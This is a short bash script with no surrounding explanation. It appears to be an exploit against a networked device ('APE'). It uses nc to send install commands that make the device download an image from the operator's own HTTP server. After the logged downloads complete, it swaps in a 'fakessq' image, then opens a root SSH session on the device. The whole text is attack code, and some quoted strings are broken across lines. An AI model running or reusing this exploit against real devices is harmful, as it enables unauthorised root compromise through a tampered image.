echo "reset" |nc $APE $PORT 
sleep 1 
echo "reset" |nc $APE $PORT 
sleep 1 
 
cat <(echo -ne "watch\ninstall http://"$HTTP_IP":"$HTTP_PORT"/$REALSSQ\n") 
- |nc $APE $PORT|while IFS= read -r line; do 
    echo $line 
    if [[ $line == *"got_bytes=342614080 expected_bytes=342614080 
offset_bytes=0" ]] ; then 
        sleep 2 
        echo "install http://"$HTTP_IP":"$HTTP_PORT"/fakessq" |nc $APE 
$PORT 
    fi 
    if [[ $line == *"got_bytes=285941824 expected_bytes=285941824 
offset_bytes=0" ]] ; then 
        sleep 2 
        echo "install http://"$HTTP_IP":"$HTTP_PORT"/fakessq" |nc $APE 
$PORT 
    fi 
    if [[ $line == *"status=complete got_bytes=4096 expected_bytes=4096 
offset_bytes=0" ]] ; then 
        sleep 2 
        break 
         
    fi   
done 
 
sleep 3 
echo -ne "\n\n\nDone\nPlease Press Enter\n" 
ssh root@$APE 
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